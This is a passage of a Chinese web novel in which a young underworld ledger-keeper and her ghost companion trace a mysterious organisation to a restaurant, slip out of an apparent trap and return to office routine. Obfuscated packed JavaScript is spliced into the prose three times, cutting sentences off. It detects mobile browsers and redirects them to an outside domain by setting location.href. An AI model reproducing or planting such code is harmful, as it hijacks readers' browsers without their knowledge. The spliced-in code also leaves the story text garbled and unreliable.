还有那个小鬼,晚上回家的时候没见到他,说起来,好像晚上都没见过他的出现,每一次的碰面都是在白天,虽然鬼白天出现也无事,不都扎堆在晚上,但以张祎宁这不长不短一段时间的观察来看,鬼大多还是喜欢在晚上行动。他是跑出去撒欢了? 明早出门铁定要碰上,是要继续装作看不见呢还是好好教训他一下?想起今天早上的遭遇,张祎宁还是打了个战栗,疑神疑鬼地环顾了一圈房间,应该没有尾随她回来吧?图什么呢?这小鬼,真有些吓人了。 第二天早上张祎宁特地戴了副墨镜出门,还是如同前一天的相遇,他从远处冲到了自己面前,围绕着自己做各种鬼脸,张祎宁不加理会,直直向前走,就在要走出小区大门时,她又听到了熟悉的“晚上见”。 什么意思啊到底!?为什么一直说晚上见?晚上也没见到啊!难道他真的跟自己回家了?想到这,她升起了一股怒气。 明天好好在家休息,周日傍晚就去探路,如果那个“横”组织是友,她第一件事情就是委托对方出面收了这小鬼,如果不行,她也不装了,直接和那小鬼面对面好好谈谈。还收不了你这小邪祟? 周五就这么平淡地过去了,相比于瓜群的活跃,见到面的大家都是一副只有闲心关心自己的萎靡不振模样,许良友一直躲在他的办公室里没出来,这最好,张祎宁也不想在周末前看见他。 晚上依旧没有客上门,给刘元詹识字的工具书也没有到,隔壁摊的摊主大概是有过一买卖之谊后,时不时就抛几个话题给她,看上去对算命产生了几分兴趣,然后,他就坐到了自己对面。 “妹子,你帮衬了哥一次,哥也还你一次,这怎么算价格?” 呃……她看了眼刘元詹投向自己的目光,百口莫辩。不是,她真没说谎!按常理来说,肯定不会有人真信这种天桥算命摊的,更何况,她这么个年轻女性没有说服力啊。 “哥,这个吧……唔,不是,你真信啊?” 大哥摆出了严肃的面孔,纳闷道:“这叫什么话?你都摆出来了,不信怎么算?” “我吧……其实!其实我这摊不是给别人算的,是为了自己,这算命摊是我自己的命眼,这就是一种仪式感。” “说得神乎其神的,命眼是个什么东西?我也有命眼吗?”大哥的好奇心反而被勾出来了。 命眼,我也不知道啊,我编的。 但她还得继续圆下去:“有啊,每个人都有命眼。” “妹子,你是有点东西的,哥能看出来。这样,我不算别的,你就给哥算算那个命眼。” 很多时候就是这样,你越肯定,别人就越怀疑,你若矢口否认,别人还会把它视作“谦虚”。 见张祎宁面露难色,又要拒绝,他有些急了,“妹子,我可是看过你之前给另一个妹子算过的啊,拿了一沓牌算的,我看她那表情可激动了,哥是诚心的,这样,既然我说出口了,价你开,绝不还价。” 妹子?啊,那个塔罗牌……她尴尬地眼神四处乱瞟,刘元詹略微上挑的眉头显然是对她的不信任,仿佛在问:“原来你有前科的?” 她现在进退两难,再找不出别的理由拒绝,妥协道:“这样大哥,命眼这东西不是那么容易算出来的,很伤气数,伤你也伤我,我给你就看手相吧,免费,免费。” 免费的东西谁不爱?大哥略一思忖,同意了。 好在自己之前为了防止真有人上门找茬,特地学了几天的看手相,随便说两条唬唬大哥足够了。 环境简陋,没有桌子,大哥自觉地将手肘撑在膝盖上,向前伸出手臂,摊开肉肉的手掌……大哥真是有福啊……手真肉,周围本来就昏暗,连那些线都不容易看清了。 张祎宁一本正经地胡说八道:“你的感情线延伸到了木星丘和土星丘的中间,妈呀,大哥你是个向往纯真美好感情的人呀!” 他目光有点躲闪,不自在地说道:“人之常情、人之常情,有说怎么找到吗?”后半句话急切地脱口而出。 大哥看起来不像还是单身的年龄。她只能打个擦边球,玄而又玄道:“大哥你的这条智慧线起底处是像锁一样的,这说明你很聪明啊,但是还没找到自己正确的目标,你得静下心来朝着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不知不觉间也许就改变了他的命运。”刘元詹不太同意她用这样“神棍”的做法替别人主观解读命运。 “不至于,等明天、一个星期后他就会把今晚的话忘得七七八八,他会怀疑,‘一个小丫头片子说的话值得我焦虑吗?’他会相信,相信自己有改命的能力。再者说,我摆摊在他隔壁,到现在他来找我算命,或许也是命运的安排呢?” “命运。”刘元詹小声地念出这两个字。 张祎宁不知道“命运”于刘元詹而言是什么?一种诅咒,还是一条长到不见底的路?她识趣地换了个话题:“后天晚上六点,我们就从天桥出发去找那个‘横’,六点,你知道怎么看时间吗?” “我会准时到达的。” “好。” “那明天就不用来咯,劳逸结合,公休一天不过分吧?”虽然她内心里在疯狂呐喊“我要休息!我要休息!”,但还是得用疑问句式询问刘元詹,得到他人的肯定回答就不是她要偷懒啦。 所幸,刘元詹没有辜负她的期待。 12. 夜探神秘组织 周日晚上六点,张祎宁准时到达天桥,惊讶地看到刘元詹已经在那里了,她来的路上还一直在想,刘元詹应该是不认识阿拉伯数字的,6点的表述他真的能懂吗?但子丑寅卯在现代社会里又失去了原本的色彩,还不如说太阳落山更简洁易懂。 很准时嘛,还是她小看了老祖宗的能力。 “那我们可以出发了。我想想,首先第一步,是你跳了下去,之后就不知所踪了,你跳下去之后是往哪个方向去的?” 他转过身指了指后方,“这个方向。” “行,我们走正常路,先下天桥。” 刘元詹点了点头,跟在张祎宁身后。 他们咻的一下就到达的点,张祎宁走到天桥末端,再走阶梯下天桥,前行了大概170米才到,而此时已经过去了快十分钟。 刘元詹自觉从后方走到了张祎宁前面,带起了路。现在还处在傍晚时分,周围的事物都看得清楚,她第一次仔细、近距离打量鬼是怎么走路的。 除却那种飞快行驶状态,看上去也没有什么不同,左右脚根据自身固定的节拍迈开步子,只是没有实际地踏上坚实地面,从她的角度看上去,像是在地面上方悬浮着,就像那里还有一层她看不见的“灵界位面”。这就给人一种不是在走路,而是在漂浮的错觉。 下次,下次让他表演一下御空飞行,看看那又是怎么一回事。张祎宁正兴奋地计划着以后的揭秘壮举,就看见那双刚刚还在有频率摆动的脚停在了原地。 刘元詹没有注意到张祎宁对他的观察和恶趣味的打算,指着前方的巷道说:“而后我们穿过了这里,去到墙的那面。” 啧,考虑到了御空飞行,忘记了穿墙这件事。她在心里咒骂了余倾山几句,无奈地往巷道走去,想看看里面拐角有没有通行的出口。 里面倒是四通八达,就是不知道到底哪条路能够通到具体的这面墙后,她停在原地,轻轻敲了敲墙面,一时也弄不清自己到底要做什么,嘶,疼,真厚实啊这面墙,只是轻轻敲一敲,手就疼了。 灵光一闪,她拿出了手机,点开地图,放大附近区域,于其上看见了自己的所在点和附近纵横交错的巷道,21世纪!科技就是力量!她激动地放大缩小,仔细比对,确认右边的巷道是能通到墙对面的。 “你直接穿墙到对面等我,我按照地图走到你那里。”她是很想让刘元詹陪自己一起多走些冤枉路的,但这样很可能会迷失在巷道里,白白浪费时间。 刘元詹点点头,不再多言,自然地向前走,整个人逐渐贴近墙面,而后如若无物一般穿了过去。 “等等!”他因张祎宁的叫声停在原地,整个人呈现一半露出墙面,一半不知所踪的诡异画面。 张祎宁兴奋地贴近墙面,想看看刘元詹和墙面是否有缝隙或是什么奇异的空间变形。 “怎么了?”他不明所以。 “没事没事,你能倒退回来再穿一遍吗?或者多穿几遍,我想换不同角度仔细看看。”她和刘元詹仅剩的独眼对望了一眼,看见对方微皱起眉头,抿紧双唇,“不要。” 而后当着张祎宁的面直接穿了过去。 ?就结束了?她等了一会儿,没看见刘元詹有再穿回来的迹象,瞪大了眼睛,心下纳罕。 不是?刘元詹这是拒绝了我? 刘元詹? 拒绝我? 那些刘元詹含着笑说“好”或者点头的画面顿时充塞在她的脑海里,她一直以为不管说什么让他做什么,他都会同意的,这是? 张祎宁往巷道里走去,仍未从震惊中回过神来,有种想打道回府,就让他自个儿在那慢慢等的冲动。左拐右拐了两次后,她才在拐角后看见不远处站在墙边的刘元詹。 从前张祎宁觉得刘元詹身上集悲剧、荒谬、神秘等等为一体,但就是没有人气儿,不是指肉身为人的人气儿,她见到的鬼身上都有这种人气儿,但刘元詹没有,就像一件老古董,会说话的老物件。 穿个墙,还把他的人气儿给穿回来了。 她走了过去,没提刚才那茬,简短说道:“走吧。” 该走一半了吧? 谁知没走两步,又来到了另一面厚墙前,她瞪大了眼睛,不可置信地看了看刘元詹,再看看那面墙,控制不住惊喊出声:“还穿?” “嗯。” 张祎宁两眼一抹黑,她从未想过今晚会是这样的曲折,字面意义上的曲折。 如果我能早点教会他认识简体字!如果能在他身上装定位器! 老天爷……张祎宁点亮手机地图,呼吸急促地问道:“你告诉我,穿过这面墙然后呢?我们先在地图上模拟出来。” “直走,右拐。” “等等,后面有两条右拐道,你是在近处右拐还是远处?” 他闭上眼睛,似乎在脑袋里复现出了路线,坚定回答:“远处。” “好的好的,然后呢?” “然后我记得穿过了很多面墙。” 很多面墙…… 气血上涌的张祎宁只觉两眼昏花,勉力提出最后一个问题:“你最后回到了大街上吗?” “嗯,是的,我回到了大街上。” 她并没有把握那“穿过了很多面墙”到底穿过了多少面,但既然是右拐后回到了大街上,那她从巷道里出去,左拐沿着大街绕一圈应该是能够找到的。如果再在巷子里这么一面墙一面墙地打转,她担心自己会彻底失去方向。 再三确定中间没有任何转向,穿过很多面墙都是在巷道内进行的以上信息后,张祎宁决定就按照自己的计划走,让刘元詹按既定路线穿墙而出在马路上等待。 她脑袋木木地转过身,没再多嘱咐一句,甚至都没心思看刘元詹穿墙,就沿着来时路走了出去。 1.5公里,不远不近的路,要走近半个小时。从出发到现在已经过了接近一小时。这路何时是尽头?不行!要快!后续一定要先在地图上确认好停靠点后再走,不要浪费时间一步一步来,而且!而且她需要扫一辆自行车,省时省力。 顺着原路走出巷子口后,她向后回望看见了出发的起点,天桥。 冷静,冷静,一边做着自我安慰,一边快步往共享自行车集中点走去。 当作现在才是探索之旅的开始,调整好心态后,张祎宁骑着自行车快速前行,在第一个可以拐弯的大路口顺利拐弯,骑至街道中程时,她才在路边看见了正四处张望的刘元詹,瞬间松了口气。 没多介绍自己的交通工具,她示意刘元詹继续带路,此时天已黑了下来,之后凡是小巷,她都要想办法绕过去,不再往里走了。 陆续又依葫芦画瓢穿过了一个小区、一间超市后,她才听到刘元詹宛如天籁般的声音:“就是这条街。” 这条街……很眼熟啊……这条街!!!这条街在公司后面!她中午时常会和同事跑到这里的一家猪脚饭店吃快餐! 这条路离天桥不远,只是会稍微有些绕,但绝不至于绕这么一大圈! “余、倾、山!”她咬紧牙根,仿佛要将这三个字连同它的主人一起撕碎,余倾山是故意绕了远路,怪不得不断地穿墙、拐弯,是为了甩掉刘元詹,甩不掉后就兜圈子,戏耍他们。 “我们被他耍了。他故意绕远路。”她不得不接受这个事实。 “嗯。”刘元詹对距离没有实感,只是看到萎靡的张祎宁,看出了她的疲惫和愤怒,轻声问道:“是授意的吗?” 是“横”授意的吗? “不知道,总会知道的。” 毕竟交锋即将到眼前了。 刘元詹没再说话,带着张祎宁走到人群边缘一路向左,来到阴影处后站定,指着对面漆黑的店铺,“到了。” “1980taste”门口的招牌在隔壁微弱的光线晕染里依旧能看清轮廓。 她总算知道刘元詹看不懂的那些字是什么了。 真是一点人事不干啊。 “不怪你,看不懂正常。”张祎宁嘴角抽动着。 没开门不要紧,只要知道了具体位置,以后可以随时突击。只是没想到这样一个掌簿组织的据点竟然是在人声鼎沸的小吃街上,看样子还是一家门店虽小但是正经的餐饮店。 本想就此打道回府,但面前的视线焦点突然亮起了灯光,由内而外,店门被打开,一个戴着眼镜的瘦高男人拿着写有今日餐牌的木黑板走了出来,将其放至门外入户拐角处。他穿着纯灰色的上衣和黑色牛仔裤,腰上围了条围裙,张祎宁对揣摩别人的年龄不太有把握,只看得出对方应该比自己年长,约莫三十岁? 她不敢盯着看太久,将身子又往阴影处藏了藏,并示意刘元詹躲进旁边的小吃车后,她不是最显眼的,大街上人来人往,随便躲进人群就是了,但刘元詹不行,对方既然是掌簿,只消往这里瞥一眼,就肯定能看见他。 原本还存着侥幸和逃避心理的张祎宁,现在落入了两难境地。辛辛苦苦来一趟,对方敞开了店门,要不要进去探探?还是说等做好准备再去?但要做什么准备呢,她也不知道。 就当是迢迢路遥,光明正大吃餐饭。 “你就在外面吧,先不要进去,还不清楚里面的情况,我去探探。”她看了角落里长身而立的刘元詹一眼,颇有种身先士卒的壮烈之感。 “好,我就在外面。” 张祎宁点点头,调整好自己的仪容仪表,“大义凛然”地走出阴影。 见刘元詹也跟了出来,她最后交代了一句:“也别离太近。” 推开那半扇小门,清脆的叮铃声顿时响起,张祎宁本就紧绷着,这一刻警铃大作,不自觉后退了半步。 “欢迎光临,桌上有码可以点餐。” 熟悉的迎客话术,张祎宁刚刚看见的开门男子正忙碌于前台,听到门铃声并未抬眼,算是友好地说出了固定台词。 她坐在了离前台较远处的角落里,依言扫了扫桌上的二维码,以小吃和酒水饮料为主,正餐好像是每日限定,看今日推荐是咸蛋黄香酥虾球配青芥末黑蟹籽什菇千层面,诸如此类好长的名字都会配上与之相当的 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没有一丝违和之处,张祎宁不敢先表现出异常,她相信刘元詹没有带错路,一路走得很坚定,到目的地后周遭的情况也和他之前的描述差不多,他说余倾山到了这处后没有直接穿进去,而是在门口先朝着里面喊了几声,才有人替其开门,余倾山是走门进去的,没有穿墙而进。 这才让她一直对“横”有所顾虑,这间店一定存在特别之处,自己不能率先摊牌,以免落入下乘。实在不行,就当简单吃顿饭,下次从别的鬼那里套套话。打定主意后她倒不那么紧张了,哪怕和前台的男子对视上,她也能比较自如地移开视线。 等了不久,她又听见叮的一声铃,是出餐铃。前台男子将出餐口的面放置在托盘上,向自己走来。 “久等。”他带着友好的笑容为自己上餐。 但是……“呃,是不是搞错了?我点的是咖喱车仔面。” 自己面前的是一份今日推荐的套餐,那个名字超长的78元套餐。 “张祎宁,你就当是我们略尽地主之谊。” 果然。 听到自己的名字从男子的口中说出来时,细密的鸡皮疙瘩又攀上了手臂,在掌簿届,除了阎王和刘元詹,就只有身为上司的许良友知道自己的真名,那些鬼只了解她对外的称号——巴掌。 虽说现如今的身份信息不值几个钱,但除非花心思查,普通人还是不那么容易获得的,而对方的态度,更是让她确定,真名只是他抛出来的第一个微不足道的鱼饵,他掌握更多有关自己的信息。 “礼尚往来,我叫杜文新。”他拉开了对面的椅子坐下。 “吃吧,没毒,处理在我店里发生的食品安全案件可比毒死你麻烦得多,虽然我可以把你挖个坑埋了或者丢到城市尽头的河里,再不然,直接让老金把你大卸八块做成明日限定的肉包……”他露出了玩味的笑容,但看到张祎宁后缩的防御脖颈后还是收起了令人不适的恶趣味玩笑,“总之,快吃吧,老金最受不了不在食物美味期限享用了,这是对美味的亵渎,他也许会把你做成千层面里的肉沫哦。” 张祎宁忍不住循着杜文新的视线,看向桌上的那份千层面。 好在不是番茄肉酱的……她强作镇定,拿起一侧的银叉挑了一口面吃,还真是家正经餐厅,而且是家味道不错的餐厅! “怎么样?没有人肉味吧?” 张祎宁已经能够接受这人的说话方式了,当他在放屁就行,虽然很影响用餐体验感。她喝了口很令人好奇的黄金水,发现这是种掺杂了苏打水和梅子、菠萝果泥和一点点酒味的饮料。黄金黄金,就是菠萝果泥吗? “含酒精,查特黄香甜酒,只含一点点点。” 她决心不再被对方牵着鼻子走,被动得让她食不下咽,也如坐针毡,她直接问道:“你让余倾山来找我的?” “你觉得呢?”对方很懂得与人周旋的话术。 “本来怀疑是余倾山自作主张,但见过你之后,我觉得也不是不可能。”张祎宁扯出个勉强的笑容看向杜文新。 “那要让你失望了,与我无关。是他自作主张,算是投名状?想找我帮忙,自以为是地做点贡献。当然,我们身为掌簿,都是无条件为它们服务的,哪需要什么贡献?你说是吧?”杜文新那装出和善的眼神里透出狡黠的精光,正好借由眼镜片的反光一晃而过。 张祎宁不置可否,她真的非常好奇杜文新所代表的“横”组织是如何帮助余倾山实现他那扭曲的执念,没忍住地问道:“你帮他了?” 杜文新注意到她捏紧了手中的刀叉,肩膀微微耸起,就像下一秒听到自己的回答后真能做出些什么反应的样子。“真是不擅长伪装啊……”杜文新轻微地摇了摇头,面前的人比自己想象中的更缺乏基本素养,似乎除了“掌簿”这层身份外,一无所知。 他含着笑意点头,没多做解释。 “你们什么鬼的什么执念都会帮忙吗?” “当然,义不容辞。”停顿片刻后,他盯着张祎宁的眼睛,接续道:“除了实在无法完成的那些,比如,此刻站在门外的那位。” 13. 鸿门宴 不大的店里此刻只有立式空调和新风机微弱的呼呼风声,厨房内的动静和外面街道的喧嚣都被隔绝,叮当的餐具碰撞声猝然响起,是张祎宁用力按下了刀叉。 她一直就有隐隐预感此次的“鸿门宴”目的不在自己,而是刘元詹,但就是想不明白为什么以及然后呢?他们认识刘元詹的时间毫无疑问比认识她要长,要采取行动不会等到这个时候,前后最大的差异就是她答应了要帮刘元詹的忙,这是否触及到了他们的利益? 她的思绪转了好几转,还是打算不自己胡思乱想,既然入了这宴席,就留给主人致辞的时间好了。 “你们想做什么?” 他没有回答这个问题,而是说道:“你不是想知道我怎么帮余倾山完成的吗?我会告诉你的,但不是三言两语就能说得清,让刘元詹进来吧,我们可以一起聊聊。” 刘元詹已经在门口等了半个小时,他们约定如果张祎宁没有给他信号,他就不要贸然进入,看来他执行得很好,面对杜文新入内的邀请,她下意识想拒绝。 如果明知一个人另有目的,又对他的心思捉摸不透时,不顺着对方的要求走,应该是最理智的应对方式。他们不会对自己动手,毕竟这是法治社会,但刘元詹是鬼呀,她对这个世界生与死、人与鬼的运作方式也就是一知半解,她没办法保证刘元詹的安全。 “你对我们一无所知,就跑来这里,你对我帮助余倾山怀有极大的不理解,但你也采取不了任何行动。张祎宁,你对掌簿有几分了解,又对如余倾山和刘元詹这样的鬼有多少了解?我如果真的对你们抱有恶意,不会留你们到现在。” 他的一番话说得诚恳,诚恳得令人不舒服,但也不是毫无道理。 无声的拉锯和一个人的内心独角戏挣扎最终在拉开椅子的吱嘎声里宣告结束。 张祎宁不信杜文新,但像现在这样僵持不下也不会带来任何有利的结果,她决定前去询问刘元詹本人的意见。 “行吧,我去叫他。” 总算没辜负自己耐着性子安静等待她做决定,杜文新长舒一口气,挤出一个不失礼貌的笑容给张祎宁,以作安抚。 他笑着目送张祎宁出门,听到门打开又关上的开合声以及带动出的清脆铃铛声后,起身向前台走去,屈指重重敲了敲厨房门,不过两秒,一身雪白厨师服的老金便出现在打开的厨房门口。 “准备一下。”杜文新依旧带着笑。 老金没说话,跟着他走出厨房。两人来到张祎宁刚坐过的桌前,老金看了一眼桌上几乎未动的餐食,皱眉不悦道:“不好吃了。” “还热着的时候她吃了几口。” “你可以等她吃完以后再说。” 杜文新摊开双手,撇清自己的责任:“我不说,她也不敢吃啊。” 老金没再纠结,只是依旧盯着那份面,颇有些痛心疾首。 张祎宁推开那半扇门,有种推开另一个世界大门的异世感,所有的感官重新回归原位。吵吵嚷嚷,闷热潮湿。 她皱着眉头回看了紧闭的门一眼,这扇门隔音效果这么强?外头的街道不是一般的吵,里面却连一点声响都听不见?不应该啊? “怎么样?”刘元詹已然来到她的面前。 他就在对面时刻注意着这边,但感觉过了很久很久,里面都没有一点动静,好在,张祎宁安然无恙地出来了。 看到张祎宁皱眉望向店门若有所思的神情,他也颇为奇怪地说道:“方才我试着进去,但被隔绝在外。” “什么意思?”张祎宁沉浸于搞清楚这扇门的结构的心思因为他的话猛地烟消云散。 “这栋房屋四周,有一道我无法穿越的墙。” 无法穿越的墙?鬼无法穿越的墙? 所以余倾山要在外面等待指引。 需要开门,这扇门是入口。 人和鬼的入口。 “杜文新想让我引你入内!?”张祎宁愕然反应过来。 她来不及思考更多,转头对刘元詹低喊:“快,你先走,回天桥。” 她脚下飞快,直接跑向了路口的出租车。 刘元詹欻地一下从她侧边飞过,不带起一阵风,就这么一眨眼的功夫,再寻不着。 真好啊,不用花钱打车,还不会制造尾气,她又开始羡慕起这项特异功能了。好歹自己也算死过一次的人,还要为地府打白工,怎么就没有一点点小特权或者小便利呢? * 杜文新脸上的笑容渐渐消失,他的直觉告诉自己,事情未按预想的道路进展。实在受不了和老金面面相觑,他烦躁地起身往门口去,这倒是和直觉吻合,门外果然不见一人一鬼的身影。 他关上门,靠在吧台旁,有些尴尬地摸了摸鼻子,闷闷开口:“浪费粮食是会下地狱的。” “反正也不是在计划之内的事情。”老金站起身,收拾桌上的残羹冷炙,对突如其来的变故并不放在心上。 但杜文新的表情阴沉了下来,余倾山带来这个消息不在他的计划内,张祎宁的突然来访也不属于他的计划,但从她进入这家店的那一刻起,就不再是这样。 人死可以复生,入局再想全身而退,总要付出些什么吧。 “老金,有违市容的天桥摊位,市民有义务进行举报吧。” 他摘下眼镜,轻揉鼻梁两侧,悠悠开口道。 提问的对象抬起头看了他一眼,给出了自己的意见:“没有意义。” 杜文新将眼镜戴上,世界又变得清晰,物与物分明,不再是模糊的一团和一块,“有意义,出口气。” 老金端着餐盘走近,他侧身让开道,厨房门关上前留下最后一句忠告:“轻重缓急。” 轻重缓急。 杜文新的手指无意识地轻敲着前台桌面,不成旋律的笃笃声一记一记砸向他,脑海内的计划也一条一条逐渐成型。 张祎宁回到熟悉的天桥,属于自己的那个位置摆上了卖穿戴甲的小摊,刘元詹正站在摊位前低着头细细查看。他看得那么认真,张祎宁站在不远处等了一会儿都不见他抬头,只好走了过去。 “妹子,以为你今晚不来了呢!”隔壁的盗版书摊老板先看见了她,高声招呼道,同时热情地向美甲摊主介绍:“老板娘,你这个位置是她的,算命大师!” “算命大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“算了,今晚就到此为止吧,明天的事留到明天再说。”张祎宁此刻只感觉到紧绷的情绪放松下来后,疲惫汹涌而至,她无力地靠在栏杆上,眼神呆滞地望向暗夜星空。 像上次一样,他们一路行至分岔路口,在路灯幽微的光亮下告别,带着各自的心事走上不同的前路。 她本想着如果今晚能够确定“横”的性质,就将小区内那已经发现自己身份的小鬼之事交给他们解决,但现在看来,一切只能靠她自己了。 虽然身心俱疲,她还是没有直接回家,先来到小区楼底下那棵大树旁的石凳处坐等小鬼的出现。以往几次她没有关注小鬼夜晚是否还在,周围乌漆嘛黑的,鬼魂的形态又呈现透明质地,就类似不会在黑暗中发光的虚幻投影,除非她特别留意,不然哪怕小鬼就在近处的角落里,她都会恍若无觉地忽略掉。 张祎宁相信自己就是最好的诱饵,如果他确实在这院子里,又看见张祎宁坐在这,是一定会出现的,她要做的事只有耐心等待。 耐心等待,话虽如此,但她度秒如年,院子里只有她一个人,又坐在灯光旁,不得不体会到群蚊环伺的恐怖,她不断地挥舞手臂、跺跺脚,驱赶那些胆大的冲锋蚊,远处不见光的黑暗里仿佛还蛰伏着许多蚊虫虎视眈眈,而更多的蚊虫正在赶来分一杯羹的路上。 在打死又一只进攻的蚊子后,张祎宁落荒而逃。 14. 变化 张祎宁顶着杂乱的头发,眯着惺忪的睡眼,挠着手臂上的蚊子包,一路飞奔出了小区,根本将昨日睡前制定的早起在院中守株待兔的计划抛之脑后。 “完蛋了!完蛋!要迟到啦!” 她一路飞奔,在各个巷道中弯来拐去,她只有争取一分钟出一条巷子,才能赶在截止时间前打上卡,而且不能出现任何意外。 “打……打上了……59分……” 张祎宁气喘吁吁地看着手机软件上的“已打卡”三个字,今日工资保住了的安稳感令她长舒一口气。 住在公司附近真是明智的选择啊,早高峰时间只有走路是最快能到达的移动方式,还好自己刚搬到小区后就致力于发掘每一条到公司上班的最短路线,这才有了今日十分钟赶到的壮举! 打上卡就没事了,她恢复正常速度在楼下便利店买了个早餐后来到公司。 嗯?有情况?张祎宁敏锐地察觉到了公司里不一样的氛围,一定是又发生了什么事情才会让这些平日里电脑荧光前麻木的脸上显示出生机,千篇一律的枯燥工作中只有瓜以及时不时出现的变动能让大家产生情绪波澜。 “怎么了?”她刚坐下就急切地凑近了旁边在小声交谈的几位同事。 其中一位是公司里的百事通,张祎宁知道,瓜群里那个匿名的“王婆”就是他。他还有几个小号,平时从来不在公司网络上线,如果不是张祎宁用他的手机拼单点奶茶时碰巧看到弹出的艾特信息,是绝对没有办法将网络世界里的他和现实世界对应上的。 “新总监到了,年轻的事业女强人。”王婆喝了一口咖啡,状似随意地瞟了眼许良友的办公室,张祎宁也随着他的视线看向话题聚焦点,这才发现变化。 “趁着周末换的,今天就能美美地坐在新办公室里了。” “动作真快啊。”另一位同事啧啧感叹。 王婆悠悠留下一句“收拾烂摊子最快速的办法就是彻底砸烂然后改换门庭”后就转回工位了,随着卖瓜人的离去,这个瓜摊也迅速落向尾声。 张祎宁愣愣地透过敞开的办公室门看见里头一角,之前挂在电脑桌后的书法牌匾换成了高更的《水车》,两侧是高大的琴叶榕和龟背竹,办公桌、靠背椅、电脑全都换成了新的。穿着黑白无袖西服马甲、一脸精致妆容的新总监正端坐在电脑前,蹙着眉头。 这个位置很容易不经意就会和对方对上视线,张祎宁转开探究的目光。她刚刚没有在那里看见许良友。 许良友猝死是在上周一晚上发生的事情,上周四他的妻儿还在那间办公室里进行了赔偿款协商,只一个周末过去,无论是办公室的装修还是每一个细节、那个位置上坐的人,以及闲聊的话题焦点都发生了天翻地覆的转变,许良友只会在和新总监的对比中被三言两语带过。 毕竟,被时间丢弃的人也就留在过往了。 只是对于还要继续帮许良友完成任务且每日都得看见他的张祎宁来说,这个变化有些无所适从。 这又让她不可遏制地想到帮鬼勾魂时,虽然清楚地了解流程,却还是会在他们消失那一刻愣住,突然、迅速、了无痕迹,就像一阵风吹过,打声招呼,它来了,再打声招呼,它又走了,没有什么实质的东西能证明它的来过,只有下一秒就会忘记的感受和记忆。 她就怀着这样复杂的心情开始新循环的一周工作,没有刻意去寻找许良友的踪迹,她还记得上次怀着善意的关心并未被接受。 新总监给所有人点了咖啡作为初见面的礼物,每一个人轮流到办公室里进行述职,晚上下班后组织部门团建,动荡的周一才总算应付了过去,这一整天,许良友都没有出现。 张祎宁目不斜视地穿过小区院子,直直往家走去,她现在看到那方石桌石凳,就觉浑身发痒,明明自家阳台正对着这里,是绝佳蹲守方位,竟然还傻到喂蚊子…… “好累……今天不想去摆摊了……”张祎宁虽然住在三楼,但这种老破小里没有电梯,她每天都得爬楼梯,“楼里住的大部分都是老人,腿脚真好啊……”她无奈叹道。 刘元詹今晚应该也会准时到天桥等着,但迟迟不见我,应该会走的吧……万一杜文新他们找上门来怎么办?不是在他们店里应该问题不大,他也没有一直在我眼皮底下,要抓早被抓走了。 张祎宁脑袋空空,一边做着思想挣扎一边爬向温暖的港湾。 “这个月……这个月好像没完成几单啊……但两单是有的。” 或许应该调整一下频率了,用不着每日出摊,只要完成了一月两个五星,保证自己不会被惩罚就可以…… “啊不行不行,我得为以后的自由做准备!最朝气蓬勃的时候不努力,拼不动了就只能眼看着惩罚来临而无力回天,不行不行,我还年轻!”楼梯间的声控灯随着她的士气大增也亮了起来。 在短暂的亮光里,她得以看见旁边墙壁上新贴出的小广告,这一栋楼的五楼一户房子要卖出,有意联系。 “啊?有人要卖房……”可惜不是合适的时机,刚毕业不久基本没有存款的张祎宁将拥有这个小区里的一间房作为自己的目标,目前的进度条只能算是刚起步、刚校准,她连这里的房子究竟卖价是多少都还不敢去了解,生怕摧毁信念。 灯光适时地暗下,那张卖房广告就在那里张贴着,张祎宁还没来得及看见价格。 她屏气凝神,生怕喘息声重新触发声控灯,让她看清那一串数字,她顺势坐在了台阶上,突然可悲地发现,不管是现实生活,还是掌簿生涯,都一样,下意识就觉得用现在的自由去赚取往后的自由,性价比最高。由不得想不想,被巨浪裹挟着,走两步,挣扎一下,再走两步。 “唉,做掌簿以后,怎么变得那么矫情了呢。” 她梦寐以求,愿意付出任何代价换得的新人生,这才刚刚开始啊。 * 第二天她依旧没有在公司看见许良友的身影,如果不是阴身簿上真真切切地没有出现他的名字,张祎宁都要以为这桩麻烦事自行消散了呢。明天就是表决会,表决会他应该就会出现了。 晚上张祎宁轻车熟路地来到天桥,不出所料地看见了刘元詹。 刘元詹也看见了她,还未等她先摆出笑脸解释一下昨晚未出现的原因,对方已经来到了面前,准确地说,是一下窜到了自己面前,他关切问道:“你没事吧?” 嗯?啊? 张祎宁的疑问就写在了脸上,“我?我会有什么事吗?” 他似乎是长舒一口气,笑着答道:“无事便好,我以为你因前日之事陷入险境,昨日遍寻不着……” 张祎宁打断了他的话,有些惊讶:“遍寻不着?你去找我了?你不会去了他们店里吧!” 看到张祎宁的反应,他像做错了事,低下脑袋,小声解释道:“不曾进去,他们昨夜不在。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448791|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她和杜文新他们都不见人影,就算凡事乐观的乐天派,估计也会想入非非…… 张祎宁一时不知道该有怎样的情绪和反应,她绕过刘元詹,向隔壁大哥问了个好后开始默默地张罗起摊位。 生气?说不上,难道是跟始作俑者的自己生气吗?就是乱糟糟的,有点生气,有点莫名,有点心酸,还有点难过。 她好像不曾有过类似的这种感觉,哦,有的!上次刘元詹追着余倾山去的时候也有过很细微的类似情绪,但当时被紧张和惊愕掩盖了。 